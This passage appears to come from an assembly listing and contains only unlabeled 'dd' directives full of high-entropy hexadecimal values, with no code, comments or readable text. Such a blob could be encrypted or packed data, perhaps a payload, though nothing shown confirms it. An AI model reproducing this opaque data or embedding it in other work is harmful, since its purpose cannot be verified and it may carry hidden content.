9302FE68h, 648508D6h, 0E6E8D10Ah, 5EDF6909h dd 482E6297h, 97E92414h, 0EA4ABBB9h, 5BE94E68h, 0C20640DDh dd 55EA2B3h, 62F3295Ch, 0F13EAF46h, 1168AD61h, 0BF90C588h dd 975FF539h, 0A0571CDh, 6F7DE47h, 51530760h, 1512AEB9h dd 0E8142E25h, 0E7498E7Fh, 9EC3A1E1h, 0AFF1E86Fh, 3ECD303Bh dd 3630ED0Ch, 37186EF1h, 1AFE9144h, 123142AEh, 5C39147Fh dd 0CA100D54h, 58B5165Eh, 28180DFEh, 66E8CCB2h, 5AA6595Ah dd 0EC414713h, 3488C435h, 8BBF91EEh, 4F5606F0h, 2F31F160h dd 35E99178h, 0CE358774h, 0F0804195h, 0ED980F29h, 0B290B529h dd 0EE925A9Fh, 0A7746854h, 0FA44E0F4h, 0DC70AEE4h, 424362Ch dd 0D5E95495h, 0BEBF9F3h, 815F295Dh, 1E3968CCh, 0D691A588h dd 0C10FE320h, 6962044Dh, 7D2E2922h, 2C5AD8EEh, 0C3613B05h dd 705E8FFCh, 0ABA5201h, 11D16B12h, 3D182703h, 0D70CDE42h dd 550A9E1h, 0E70A94F2h, 35125585h, 0C1E32CBBh, 2C99525Fh dd 0BD9220C1h, 0BA795636h, 2A850D2Dh, 0BB2E1B59h, 559C2981h dd 2EE93DECh, 0C91837FCh, 4D150B01h, 0A11E8936h, 0B8D2D1E6h dd 9584345Ch, 8E6801C0h, 0B7705037h, 297A409Dh, 22A0DA4Eh dd 21D1F77h, 0F18A8B4Bh, 1A428FD1h, 50BF5E94h, 2297D301h dd 1FDA911h, 61FAB252h, 0C2FEFC6Dh, 25C25195h, 0F197F9D0h dd 0F1F78BC2h, 712FD6D6h, 0EAB6B12Fh, 4054072Fh, 0E0C38AD4h dd 34BEDCDFh, 68AF4293h, 0CDFD3119h, 0BE72718h, 0AD51734Bh dd 92FDFB11h, 0C8DD86C8h, 48ACA32Eh, 18992F76h, 9160D3A4h dd 4B569EEEh, 93D95D75h, 1FBEC396h, 2BB7B08Eh, 74508E46h dd 7A2EFB4h, 89D7317Dh, 0E94D443Ah, 5A95927Ah, 5E10D1E2h dd 514C1F46h, 2CE700D9h, 0F717F36Eh, 82F8C1DFh, 441A1555h dd 24D0ABFDh, 4AE9FA29h, 0FE1982CFh, 8836C0F7h, 0FAF5E4DEh dd 32504A12h, 0B963CFD1h, 0D425D4FFh, 58AAF7F1h, 0BBEE20D4h dd 0B8C712BDh, 0C38083D5h, 0E9070BE4h, 0AEDADF98h, 0F7623D7Eh dd 7926360h, 7428625Eh, 5DEA2648h, 30BB524Bh, 0E867E9F9h dd 871925BDh, 66B522D7h, 0C84F2DECh, 2E4BBA60h, 51E37DECh dd 757E10FAh, 9B74C3Dh, 0D94BFC68h, 94328D00h, 0E1004093h dd 0DE95B834h, 9008A03Ah, 0BB5D4453h, 2862330Bh, 0D2258B45h dd 0BF77B1Ch, 218D7FA8h, 0C1ED9F60h, 700B7670h, 7C738FE9h dd 0FB1AC90Dh, 2D51E55Fh, 0D0F6DAA9h, 0C6636B18h, 0D61C39F1h dd 30F826FBh, 0C9DA9D63h, 157AC746h, 4CE4D720h, 0E730888h dd 0EC045AD5h, 4A2CE807h, 68E90983h, 0EAD11F60h, 0F4BAE2EEh dd 0BA96354Ah, 2E0E2524h, 783F439h, 0B095C1E5h, 2B4FC1AEh dd 0D4F82A4Eh, 9B815189h dd 2E117F01h, 48C8780h, 246375CDh, 4124F857h, 0C0075DE6h dd 7D0BC025h, 5E480BBCh, 892A0032h, 0C109F9B9h, 97750BFh dd 0C93D1493h, 4694B9F0h, 5E32F725h, 12C6E704h, 0A4B76FA8h dd 0A53B82CBh, 5F2292DFh, 99D5994h, 20F7D0F8h, 0AC762D8Dh dd 0C5A1782Dh, 0C0C609C4h, 4460BA56h, 0FA6D081Fh, 306A416Bh dd 1716CE46h, 5A83245Dh, 0B9602829h, 45E9120Bh, 3C3DE29Ch dd 560C9A50h, 0F4427F3Fh, 8CB9D15Dh, 0E777A6E3h, 0B947CEEh dd 3A94222Dh, 0BD452EBh, 20EF70E7h, 7AD77500h, 549DBD43h dd 57D4120Ah, 1B2CFED1h, 0B9FEA8A8h, 268312F7h, 4E9DB85Bh dd 0A28847A1h, 0DE2794ACh, 0BBC48B67h, 54BDF3A0h, 337B2129h dd 0DC8F3024h, 21302F9Fh, 0B527BE68h, 1097CDE6h, 0C56318E2h dd 0A65EF2CDh, 901D1097h, 0B942EB4Eh, 0F94D3268h, 78DF8B6Ch dd 8162C1D6h, 0E24605A4h, 2EA89272h, 924ABD5Eh, 4CF1FC0Bh dd 2D182546h, 9773C98h, 0C06BD691h, 0B9F5E66Ch, 0C5564708h dd 0F70C1058h, 0EA47ED09h, 987988DDh, 862F7105h, 0EF005AECh dd 8137AD30h, 0FB1694EEh, 0B752C347h, 84F2900h, 0B729ABC4h dd 56A77AC5h, 5C7D018Ch, 2B5E1927h, 7C99C305h, 1FD709F8h dd 352D0AC4h, 0BC5BA6E1h, 0BC43F293h, 0A7F5C4F7h, 8F326F99h dd 2F850504h, 0F869834Fh, 0E908C240h, 990B84Eh, 3D2DA8CDh dd 1B902871h, 9833209Fh, 0B2984041h, 7330545Dh, 6853C205h dd 0E9344093h, 0FAF612EEh, 2DE28185h, 7E8A004Eh, 0B8117142h dd 419B4F00h, 0FCF052Eh, 0B3294812h, 62E96817h, 0FA7BDDEh dd 0EFE5E2E8h, 4446A25Fh, 0FDDD9271h, 0BA0104CAh, 0C564B0C1h dd 41003D29h, 7E346E08h, 51C960BFh, 1596D189h, 49C8D927h dd 0EC5772CAh, 2B57352Ch, 21729980h, 0AEC91568h, 8D0F3430h dd 8FF24AD6h, 0C8695E2Ah, 40B95A24h, 82F20F78h, 7EB2CD5Bh dd 3D022325h, 0B475C7C6h, 2D9ED3Fh, 86FBE22Eh, 24D4F1F6h dd 3A86CCB6h, 4A1CA3CAh, 6808FBECh, 0E90518EBh, 0DCB28CD0h dd 0B1BE3262h, 0E218920Ah, 9579A30Bh, 92C89279h, 0F19DFCA7h dd 8CF37A5Ch, 97BB5380h, 4F7C336Eh, 0D0EFCB2Fh, 5EA9E4E8h dd 0ADD463h, 2236C1F8h, 0CC1614Ah, 0B029C57Dh, 0D33F9620h dd 0A459FD28h, 110FB3AFh, 0C758C7DDh, 7A54020Bh, 9603180h dd 594A4E03h, 8CF458BBh, 519F3F0Eh, 508067C4h, 0C3C2E911h dd 0C549D4B4h, 5FBE8B23h, 0BB131E51h, 3ED57497h, 0F580A2D1h dd 0CF8BBC41h, 5BDF2900h, 0CAFFA9A2h, 8C4F6C3h, 612F8330h dd 0B26B40F1h, 31DF8621h, 0C407986Dh, 12B5C2C0h, 0D439DA83h dd 7F8EB813h, 0D0F57354h, 1DFDEA48h, 0F2A62815h, 0FE072D10h dd 0B24734C8h, 0A5B858C3h, 7782927Fh, 110E6489h, 6F87F8AFh dd 83B5CFEDh, 30799093h, 584BABE9h, 8AE80ED9h, 435BB1FEh dd 86EAEE01h, 9A05EDE8h, 4E127012h, 68A1C713h, 0F435AC3Ah dd 29718744h, 16CA53F8h, 152B8FEh, 71C703ABh, 0AE2605EBh dd 77A21E08h, 60911CECh, 31858E20h, 8F2095C2h, 0F3C101B2h dd 6084108Ch, 8C48821h, 0FE068D9Ah, 0AF312083h, 9BC008A6h dd 8836B701h, 0CDBA120h, 33107D8Bh, 59083F63h, 0A708E4E2h dd 184DAC0Ch, 8B5635Dh, 1810FF01h, 0A3198651h, 11429F0h dd 0D1368DFh, 0A97A0831h, 0F6079D13h, 0F2331060h, 102E08EEh dd 31CB2169h, 44C9110Ch, 8897D601h, 8388308h, 0B31DA8AFh dd 0AE462831h, 82D3998h, 18C6A2C3h, 20088852h, 0F1319143h dd 0BB802017h, 96E0888h, 864D008h, 5A086C77h, 6AA80840h dd 3120AC1Ch, 5548FCF5h, 280888DAh, 0BE5E08E7h, 2884220Ch dd 0D189CFD8h, 59A410F0h, 10FEC210h, 6C108A65h, 8B407F9Eh dd 8C3A404Ch, 40A70140h, 0ECA8AD67h, 0DB80BCC4h, 0E808C689h dd 0C2050C3h, 9E6531B8h, 8C8BD310h, 18705608h, 86D63A2h dd 18106B2Ah, 6610751Bh, 7C8D185Ah, 0C5633C08h, 4858E620h dd 381598D0h, 0CD2310B4h, 18BFB610h, 0C80804EEh, 88998111h dd 8954461h, 491594DDh, 0B8F210ECh, 3180912Ah, 0B1106825h dd 0E2A9014Ch, 92D45F01h, 54469408h, 63C12BAFh, 97A508CAh dd 70B02019h, 0A1881608h, 0A3082688h, 0ADEF083Bh, 71605A1Fh dd 0E08C672h, 0C2E03075h, 7F3908C6h, 495E3118h, 98657108h dd 3611D818h, 0A8C49210h, 0C4F82B64h, 6E35708h, 20204B01h dd 0A3319D11h, 0CD501045h, 80A36302h, 0C1313810h, 129308A1h dd 95788701h, 1080DE28h, 0BD2DD17Ah, 0D0C03C83h, 94E10810h dd 387A6518h, 8C473F8h, 9609CC6Fh, 999524A3h, 0DBAE1010h dd 18296710h, 8F08BAADh, 61E1CC95h, 0A1404C08h, 204662BBh dd 2804E08Bh, 0A7514491h, 88D77401h, 84A8C18h, 0B80C5A99h dd 40CD08B6h, 0CA621A1Ch, 2473B28h, 0FF054EB0h, 6DF7EC46h dd 0F13140C9h, 40045840h, 0B140DF34h, 89C65C4h, 7F984682h dd 414910EAh, 9C601DC4h, 0A424E853h, 923FEDE0h, 0C78B3C5Fh dd 55572872h, 752C1F47h, 8913CC02h, 0A768B90Eh, 4480E43Dh dd 0B49408Fh, 0F7750BC9h, 250E748Bh, 0F003DE82h, 3343BCDEh dd 0B10FC0C0h, 2C30694Fh, 6884DBD6h, 0E5AB38D3h, 5772E032h dd 0B0AF2397h, 41FBC99Dh, 6E828D6Fh, 0D4E12899h, 0B22BE5E9h dd 0E915D8F4h, 8C736B3Ah, 0AFB40EFDh, 0B99645F5h, 163920BBh dd 0C8F62F75h, 0D1013C25h, 48E08B75h, 0E95B9055h, 10DA6B83h dd 1CCB2803h, 68500C07h, 7D094BCEh, 0DC9D266h, 629D5154h dd 0E7EBAFEDh, 96200BB1h, 0F805E68Dh, 0C5AA3CA5h, 3BC3ABB3h dd 0E9940D08h, 2A0A2B26h, 5E590CD1h, 0C0F365ECh, 0F8DEEE3Fh dd 0DCB0130Ch, 0B82C6463h, 4AFE0ED6h, 6FCDB951h, 0E16B0Ch dd 0B8AC846Ah, 0FF2CB1FAh, 7B2E8305h, 81315888h, 1BB6CD0Eh dd 514D0514h, 1E375BC3h, 78A5C57Bh, 0CA0452Eh, 91884BEh dd 255DE801h, 5CE35AA2h, 736D7D4h, 7C2D751Ah, 1540112h dd 0C5E87DC7h, 8CAF2719h, 0AC4048C7h, 5C88180Fh, 65AA2734h dd 44EFE2D6h, 0FED223h, 29F4F181h, 6CE76ADh, 793034EAh dd 0BC090C0Ah, 0D7629B27h, 80D0FC2h, 0AB14050Ch, 7CE8FA66h dd 23D495E1h, 976651D0h, 0A64F978h, 10768AEh, 0E9C73EBh dd 0A1F0A64Eh, 0FE306C4h, 24D2988Eh, 0EAB65212h, 20203C08h dd 0E1E350E2h, 0CD729522h, 3C8B0880h, 0A1F165B5h, 81D92706h dd 113EE984h, 0C5AF4A94h, 5E2CA878h, 0C7E513BCh, 0FAFE2534h dd 80F94239h, 773EF146h, 0C5099DFEh, 192CC7Fh, 776D6856h dd 835E4CEEh, 966A54CEh, 89F6102Dh, 1FE90E21h, 0CD2D1C36h dd 0E95C030Fh, 310B80F0h, 0DC0138A1h, 0FE184309h, 0AD2C1A4Ah dd 0BB530050h, 77660363h, 83A924E9h, 0A4DCD848h, 8BC00CCFh dd 51BDC06h, 0AEF128ADh, 0DCC2C4D9h, 0B02CC00Ah, 0D3EBE828h dd 0E9543406h, 254C89A5h, 8486E68h, 0A0B7AC56h, 0C707AE55h dd 7304906Ah, 16C3605Dh, 257B3C20h, 0B4E975h, 947CEC2Dh dd 195F5387h, 5C10A8E6h, 781D79FDh, 318B7ED6h, 49FF79DFh dd 0E41C047Eh, 0B747EE65h, 8A023396h, 0C15A684Bh, 0C3C25DE5h dd 6C0DBC51h, 0ACD8AF69h, 280CC75Ah, 34515BD0h, 0E9DF816Eh dd 6D8398B5h, 0DD0610C6h, 0F5F78999h, 249E5151h, 80A54292h dd 0B3146D72h, 10FF032Bh, 2D437E27h, 2787EC5Ah, 0C9C659A9h dd 76CB0402h, 0C488E4FBh, 27F227FCh, 9FA9CEB7h, 0A3A73674h dd 3283131h, 172DB9FEh, 6C072BA7h, 27A6452h, 548EE9D7h dd 245D3C08h, 8080F579h dd 810F76F3h, 0DD264D85h, 0C8534E77h, 0C1258092h, 80D071C7h dd 3E42B850h, 400C76B0h, 3A2E3DE9h, 2680553h, 83390E28h dd 18CEE539h, 6AC5C5Fh, 60ABEB85h, 1D3D22E3h, 0DA31113Eh dd 0EAF474B9h, 1B20B629h, 0AE014823h, 95E0089Eh, 0A321AA3Eh dd 57B9D480h, 5438462Dh, 0A89826A0h, 6F1D3C30h, 0BD83712Fh dd 4C0B1FEAh, 66205368h, 77BA169Ch, 0CF710759h, 0D8914DC9h dd 51627D3Eh, 73C6488h, 0EE36255h, 68137DC6h, 4E613D10h dd 0FA4D2A81h, 0B55DF3E0h, 54F937CBh, 0E161834Bh, 0FF9136F0h dd 35AF85DFh, 651B9D60h, 752258A8h, 2A333C07h, 0C4ED6017h dd 0E9EE4EFEh, 0FECEFC25h, 2E605AB0h, 44E43C85h, 76A2682Fh dd 0FC7F0h, 0AE978E3h, 0CC181B50h, 1A187A17h, 4AE3AD84h dd 6B1FE54Ah, 41C25BB0h, 73FC2E13h, 16A559C6h, 4BBAB802h dd 0D7530A3Ch, 0A6D32160h, 12C765C0h, 9F7DBD45h, 39AB14E0h dd 0F66EA3A2h, 0AAA6332h, 7C40775Ch, 0EA3E80D7h, 0FD58AAA3h dd 8036BF59h, 690B4A3Dh, 70F95801h, 4015FB2Eh, 82788B57h dd 5179294Ch, 55C06A0Dh, 590B79A6h, 61C6F327h, 9EA18E16h dd 68C55083h, 0B1A63CB2h, 7FBE5606h, 334AC25Dh, 5A3F6EE9h dd 0F8200E10h, 54B2F05Eh, 0B2008082h, 9E822CBAh, 572E3ACCh dd 0F6506927h, 87746B33h, 84178C11h, 6DD8AE12h, 97DF6146h dd 0E9312A7Dh, 79FD3A5Eh, 8A456515h, 2FB8E502h, 17403DD3h dd 0B673C5F5h, 7503B590h, 294E6622h, 82AF7EEh, 0D40E5D18h dd 2D8D0154h, 96E9C601h, 488AA544h, 256BD2C2h, 197737DAh dd 0C45EFEDh, 577728FBh, 0A9F05A5Ah, 7885B55Fh, 0C3F84068h dd 0B51FB4AAh, 3003A2C0h, 59E961DFh, 5D135874h, 27360156h dd 3B7C0B2Dh, 4AE40280h, 824C4BF7h, 0A3D6310Eh, 5603B33Fh dd 0D705B0BBh, 0F9A79843h, 0AE64EAD1h, 59047EEFh, 52281342h dd 5F1B03E3h, 0F68154FDh, 15036888h, 40820F0Ah, 0CBEA3CBh dd 18913C9Ah, 695D2083h, 0C1D6F713h, 834E540Fh, 0F06C28Bh dd 0DBFCEF3h, 0AB43E784h, 7B9FFD00h, 48D1109Dh, 56266CEFh dd 0BFBB80A2h, 210CE030h, 9D8ACADFh, 0D997ED78h, 0BE134A21h dd 0AAD6F014h, 62F7F940h, 2756AADEh, 7DF4988h, 0F4D7E50Dh dd 2240AE89h, 202D5150h, 4D5D063Dh, 32DB35E9h, 0DCA801Ch dd 2C8AF2C0h, 0E13304DDh, 62154E20h, 0EB89A461h, 1645B3A9h dd 2425E088h, 33690190h, 0F05622C3h, 23C477C1h, 0AE1709D2h dd 0BB87BA44h, 0D7CCEB40h, 0D3A2B5EAh, 0BEE3C5DDh, 9C7FCF25h dd 47E93FB9h, 208CE4CBh, 2945E1FEh, 5AF9F660h, 18A9F372h dd 29D066CAh, 0B7587BC3h, 61203F44h, 7904382Ch, 431B4B5Ch dd 8C486BC4h, 2FC88477h, 0BCAFB34h, 1F3B816h, 0D6E946C0h dd 4E1A9D83h, 7AF0909Ch, 2718F505h, 0AF583FACh, 7A3350Ah dd 0ED03AA17h, 0C1F1346Fh, 95E3C529h, 8EAE0812h, 71E90C0Eh dd 255A583Fh, 0BCD50C8Bh, 48E9188Bh, 932D169Eh, 8B289D05h dd 61AAC589h, 3EE0852Ch, 64481741h, 0E52F346Ch, 0EA08051Eh dd 0DC4BFCCBh, 182FE9D4h, 38D6C821h, 0FC335FB4h, 4A6B70CDh dd 0B38E4B6h, 718B3C22h, 83D156E1h, 5A8F0F36h, 0F65F0230h dd 0B14EC0B0h, 315185F0h, 1FAC6CE2h, 9DECBA52h, 88E91B02h dd 0B7FA5543h, 42334932h, 625541ADh, 3FEC51F6h, 617DDE98h dd 6E1243E6h, 0A70450BFh, 0E9025FAEh, 0C1691E03h, 0FE5530FBh dd 71DB0216h, 72426E7h, 0CE288196h, 0C138B450h, 86BAF1E6h dd 2742688Fh, 25CD2055h, 0ABA5660h, 96412670h, 0AACA3984h dd 2086A250h, 0A6680028h, 594E0620h, 710BF181h, 801D5056h dd 92182B1Ah, 1D82900Fh, 0BE111F62h, 3960C100h, 0F129103Eh dd 8A2E9F0h, 0E047005Fh, 66B4252h, 0D15FF931h, 86018CE1h dd 0E93E8544h, 0E73A3010h, 24AC4FC1h, 0C378EF41h, 166F1D93h dd 163AF215h, 8352E2ACh, 5505B609h, 0F980326Ch, 801C37B1h dd 0EFC3B4C1h, 0C3CF2879h, 41B8ACC7h, 6E64Eh, 0B252C504h dd 27CAFEBFh, 43FAA3E9h, 96F6CE3Fh, 68000258h, 99A4FB0Eh dd 0BFCF60E9h, 0BE3CD205h, 0E3093975h, 82E4A389h, 0FE0136FEh dd 203E4286h, 5313BC28h, 25559854h, 0B4A0D780h, 768A2057h dd 8870F6F7h, 155EEDFEh, 734839F8h, 3867275Ch, 0A94AB9BFh dd 0D90C4287h, 75CA75DCh, 51E8B50Bh, 305C0622h, 2415EC3h dd 0D0A0902Eh, 9C98B87Bh, 0CF1EF23Eh, 2D7A52F3h, 64F49DF1h dd 0A5EE715Ah, 52014F79h, 4B220C01h, 54A2C1C6h, 889211A6h dd 1028F918h, 0DC56E318h, 81C0B5CCh, 3712D851h, 8C2D6792h dd 33126649h, 25105631h, 6B275CE0h, 66F8350Fh, 0FD0097FEh dd 0F4E4BF58h, 0E9F50C96h, 0BE2E9AE7h, 252C67E2h, 1E42E035h dd 8CFF48EBh, 0F7A64458h, 7B269677h, 0C318C349h, 6086E9A9h dd 77F52322h, 827B5333h, 0A6320437h, 0E6301752h, 775A9DAFh dd 0B5F60C20h, 8A575DC2h, 813AA596h, 0F4B536Fh, 1635348Ah dd 506E2430h, 9D5EDE76h, 0E09545F8h, 60C4E9BEh, 8D0F240Ah dd 67BA27BEh, 183DEB01h, 5BE96DB7h, 88F364h, 550D5FCCh dd 0C1718F2Fh, 4803E816h, 2D97F0h, 3C4B1209h, 0BD9AF905h dd 7C21CD2Dh, 1623423Eh, 2D9F5B55h, 80028BFCh, 0DF30DAC3h dd 7F32AFC4h, 4150B908h, 0E8B5EE3h, 0F10607B2h, 6B1606F1h dd 0C718DAF6h, 7F22EA42h, 0AD985A0Fh, 45BD5BFEh, 4E73EE59h dd 4039BAD1h, 0B6C44932h, 588A5D2Ch, 0ED818A48h, 63DC1B23h dd 0CD01E12Ah, 4E62B6Eh, 9FD68D2Ch, 571AD7ACh, 10BF81Dh dd 6D9ECD81h, 0F4404780h, 60E15AF0h, 5E9B0C23h, 0D69D9F95h dd 0F79E0903h, 28FC19A1h, 0D71B31D0h, 0DD60F6E3h, 886853C9h dd 806D9507h, 9477213h, 2871B858h, 0F12A303Bh, 0E2AB029Ah dd 5E012FD0h, 0E155A72Dh, 0B62A018Fh, 2164C38h, 54D228B1h dd 97085729h, 0ED742708h, 68ADE1C2h, 5868F816h, 0EE933DFAh dd 0A9DED86h, 3B70768Ch, 0C4AF161Bh, 908DFEA1h, 8D35CBEDh dd 8D3FDDF5h, 87862AB7h, 0ED353E30h, 1656AE16h, 4640AF13h dd 75485C2Dh, 207FB038h, 5624E259h, 70103F5Bh, 1D26680Bh dd 30577699h, 75821808h, 0D8297B90h, 7068550Ch, 40E5C93Eh dd 0EE0F8026h, 46F0287Eh, 9D1467FBh, 95F859ECh, 2FE17A70h dd 2A7E328Ah, 5F1AD6A1h, 27CCA858h, 2F196560h, 66A453D1h dd 0EA47DA07h, 4F6BDEh, 754A1793h, 0D3F89F28h, 24160A0h dd 0FE038B27h, 749A259Dh, 8280A489h, 33E609D0h, 0DEF3E93Ah dd 8B9EA5ADh, 29256050h, 0E7B7090Ch, 40FC7142h, 0B9B55513h dd 0C03A6DF5h, 76568ABh, 25E7CDB5h, 0E941E65Bh, 0BB4D5C8Eh dd 605E7B02h, 92BC53D1h, 0D6C1B727h, 40E7EC0Dh, 5DDE8879h dd 0A1314589h, 6071845Ch, 47E600C2h, 7808764Ch, 53BE9h dd 5187CA80h, 9EF663B5h, 0A9AD704Eh, 3B7E68C2h, 0FBADD1AEh dd 5158180Ah, 98B71440h, 1277720Fh, 2F8288Eh, 0C2FE41CFh dd 0C0504B60h, 8B09EB94h, 709F5649h, 0CE2EBE66h, 0E3093B2Bh dd 34BAF890h, 0EF244CE1h, 0F51355C1h, 97B2226h, 5108C8F9h dd 5AA53EA2h, 90F46CFFh, 3BB1595Bh, 79CB8308h, 0A955510Fh dd 8AF940C3h, 0C88B19DEh, 29B86409h, 48861D52h, 0BBC205A2h dd 0C085ECBFh, 0E54E99A6h, 8042043Eh, 0AE277CEAh, 497AE9E8h dd 177DBAFAh, 0F83D7586h, 82AC4A7Ah, 2D04DD27h, 43A5BA5Fh dd 6B60D9C9h, 55608262h, 7B2E4B3Ah, 5900F416h, 2117EDCFh dd 71E90BCDh, 215A0125h dd 4820E098h, 56770Eh, 0DC7E8A68h, 0DEBE5A2Eh, 0B59A503h dd 0DBE9D601h, 0F261021Fh, 21E865A6h, 0C474C689h, 0BD55CF80h dd 5F5C0CB7h, 0FED1E01Bh, 1134456Bh, 0B6186FFh, 0BA7CFEDh dd 0F660EDF1h, 49D6E9D0h, 0CE101BFCh, 14034C47h, 0CBF73EF4h dd 4B098254h, 0F9300339h, 60A560BBh, 7295E6EFh, 0C3989FB0h dd 5690E94Ah, 5C4835EEh, 0C339E7A9h, 0AB21DD13h, 41108888h dd 11D34F9h, 62FA80B5h, 4F69C474h, 0A4A8925Bh, 5958CAF0h dd 9B5726B6h, 3C086308h, 0B6AF393h, 29A0BA99h, 0C8B6CBFEh dd 5F8E2404h, 0FC88EE89h, 0B9E06456h, 5A7281C2h, 519D4240h dd 812F7F59h, 1D23687Ch, 47BC983Fh, 6423014Eh, 7BE4E410h dd 66A7E69Dh, 0D99F253h, 0EC2F8196h, 3BEF01ECh, 0E9342007h dd 1AF562D0h, 0FC5A4697h, 0C38885DBh, 25CC49DEh, 20499341h dd 6B149433h, 154ABA70h, 64DB8711h, 0EF25897h, 70972D82h dd 0AF2C9A50h, 9AD9A73h, 0FBEE38F5h, 0EFC180E4h, 0C4CF02BDh dd 5BBF293h, 1C15467Fh, 688CE429h, 0DB2E3B2Dh, 455749A5h dd 805C0967h, 0A7B96557h, 9A88F245h, 0F4301F4h, 8B5B8889h dd 6E3496ABh, 0A3477F53h, 8A27F3E4h, 0F7DA422Eh, 0D8504DEAh dd 6303800Ah, 4607A54Dh, 62E98935h, 76AD5AA7h, 77CD215Ch dd 5767DD69h, 0A2E2232Ch, 47C007ECh, 0AC2D8406h, 0E1D00EC7h dd 0AF2C5E80h, 5143518h, 17431D99h, 2A1A4045h, 0DA683A56h dd 9F129B5h, 3F655F8Bh, 9398686Bh, 0ACA65C21h, 48359C10h dd 48DA209Dh, 0F90B45ADh, 0CD008D79h, 393F71BBh, 51E8011Ah dd 0F5F529BAh, 90BF9F94h, 0CB2257F6h, 0A4805FBAh, 0CF10452h dd 41580CC1h, 0CBFD3011h, 81AFB44h, 5914040Ch, 28EA0284h dd 0F04108DEh, 45730E7Bh, 2840EB63h, 0F220989Eh, 0FBF7667h dd 536289EDh, 0B4B4D67Ch, 0C2BA683Eh, 0CEA8865Fh, 11B6520Fh dd 0C8CEE085h, 5412893Eh, 0C1000A4Bh, 45A96820h, 0D2462DE9h dd 0C4C6D710h, 0DC876D2Dh, 2EC428C0h, 0B0D8B58Bh, 515F7B1Eh dd 6821222Dh, 3F552657h, 9F976B6h, 8D4DACDFh, 471543F6h dd 0F2292DBBh, 0EC5F4EB2h, 32E9A8B4h, 0B5703E72h, 62E8E7C1h dd 0EE2F7D8Fh, 0ECD92092h, 973A6B31h, 8B128BC0h, 5EBC9625h dd 92684189h, 0F97DC207h, 0C268C1BAh, 49CC7F4Eh, 7E391230h dd 9A1350h, 0C5548F6Dh, 0E630E966h, 247CCB83h, 0C71BD08h dd 5DC2205h, 0E45E3DE3h, 0DAB052EEh, 0DECA20h, 2D1795BEh dd 0DCE811Ch, 2516747Ch, 395F05E9h, 533CE243h, 0AD76D162h dd 72DBA382h, 0C37A13A2h, 1B5B577Fh, 7DEF3412h, 51833468h dd 9065348h, 0E018E9CFh, 1EBF0516h, 0AF06A257h, 0ACC9A85Ah dd 97A650ECh, 0B0B5DDF8h, 97F292CCh, 0F15B0554h, 8781E56Ah dd 113972EFh, 0E4A33B7Fh, 0E316AAD7h, 0B702B53h, 2770B6C7h dd 53DE1E9Ch, 489F08A0h, 60BBE9D7h, 75C62F4Ah, 2758C0B9h dd 0F0C86F31h, 4E3A8C50h, 8C6B8CEAh, 1792C259h, 0AC0B75C1h dd 0AD66C83Eh, 0ADF4D04Ch, 16DB2E39h, 0F675AF06h, 413AC9BBh dd 3D5384B6h, 0C9512AFh, 4C6A8AAAh, 586F2033h, 60028E55h dd 892EA542h, 49F19C42h, 4BE4E940h, 8B599401h, 0C059C581h dd 72BB2C16h, 8AD65FCFh, 6836C254h, 4C59128Dh, 69BF1A3Ch dd 0F4705DA3h, 51A272D7h, 0B589E8D7h, 0C9802312h, 0B74A1368h dd 1E9213DBh, 87A03FC5h, 52500453h, 853D49BAh, 5FE8836Ch dd 89550488h, 0BB5AD001h, 74836809h, 0A2FEC17Bh, 0ECCE65D5h dd 0E093036Dh, 41D812BDh, 5AE4FCCDh, 6C121650h, 0AF5FD5Fh dd 8CA5E585h, 2865A340h, 0C799BD5Dh, 2F217A5Ah, 63542B50h dd 0F731980Bh, 78E94E18h, 0F412AE6Bh, 2F29D118h, 6B2E94FDh dd 0E282064h, 4C1D0CBAh, 3281FBD2h, 0E33FD6B6h, 408212AEh dd 0CDDEDFADh, 6B87526Ch, 6E6CBCA1h, 887F71C0h, 0DA48010Bh dd 0E90840FDh, 4EC7305Dh, 0DD8505BFh, 8921F8ECh, 0BA75E32Ch dd 0F2CB80D8h, 9641F57h, 1C2834Ah, 0ACAF48FFh, 5C29141Ah dd 2D0ED209h, 0FCCC74A5h, 3D18246Eh, 0BC0C18D5h, 424E093Ch dd 0A9275EE9h, 0A0616450h, 0A175B8A8h, 1788993Dh, 922FDCCFh dd 0DF5DE914h, 2D5CE680h, 0F99031C0h, 83454D09h, 675513Fh dd 2C8C32E9h, 0F0800F1Ch, 0F700BDE8h, 0ECCB81D3h, 241B5808h dd 890CE3C1h, 0C25BF13Eh, 0E58054C5h, 25619C7Ah, 0D84189BDh dd 84F4282Ah, 8BBFC829h, 6AD5033Dh, 0F84F06EAh, 7D520ECFh dd 8941EF49h, 8F482D36h, 3BEC41C2h, 54E25480h, 0CA43500Fh dd 75100735h, 512D67A4h, 7E074B44h, 66059501h, 0E43A2BF6h dd 90BA9742h, 7BDBB00h, 0F3816194h, 60ABE20Bh, 0CB2C211h dd 29BD703Fh, 3F34DF4Ch, 12B26890h, 0DC0315Bh, 0A0FCFC2h dd 0FA29268Fh, 130820F4h, 0C369E95Fh, 6AD646A2h, 11F73FBh dd 208CB7F6h, 80E4899Ah, 0B55F90C7h, 4849F4F9h, 0B302C299h dd 5AD1AD5Bh, 5D39428Bh, 6EFE289Eh, 20F75550h, 0D52CCF5Eh dd 0D0C700FEh, 1EF80E7h, 0F91D8851h, 7425D1F6h, 0B07E1325h dd 9E90BDF2h, 0C14A110Ch, 0BC596EDh, 1D9B29A5h, 287C027Fh dd 25267B51h, 0D5C432D7h, 1D4A28C4h, 0D2EF28D0h, 9D3C79FBh dd 4460145Ah, 464DBDC0h, 1CE93C6Bh, 45382E5h, 7F3C0ACh dd 0FDC304BFh, 5DACD17Eh, 0C7B82281h, 6E039114h, 5D7F29B2h dd 0AD4F6038h, 0B3BBB44Ah, 1150864Ah, 0F25B5B5Ah, 43C0C75Ah dd 0B0A44F9h, 74D2063Fh, 99A86654h, 0A0B96C97h, 1698DB8h dd 0DBF71FDEh, 97612768h, 59435B6Dh, 3D5AC380h, 0F0964806h dd 0E5D36707h, 0C3CAF8EDh, 94CA6856h, 0AC6AC6D9h, 0AC2FB9C7h dd 81BDD08Ch, 5A3E18E0h, 1689D6Bh, 0A822E90Ch, 6028B285h dd 0BE078252h, 10F771E5h, 0F5FDB3A2h, 0D87336C6h, 843562C7h dd 0FF603002h, 1A92E763h, 197B576h, 58BCD291h, 3A088005h dd 2F510E73h, 0DE0210B1h, 914F8E0Fh, 0EE836504h, 90DFC4EFh dd 59C889E3h, 0FCE8D12Dh, 0AE85840Dh, 680D00DBh, 0F61EE402h dd 13B5F8Ch, 0BC4C657h, 45803B5Ch, 2D7D491Dh, 945D583Eh dd 6067B0EEh, 870FA33Dh, 2195A077h, 97D29238h, 2F378C8Ch dd 0EB122C22h, 44BB620Ch, 0D0F267B8h, 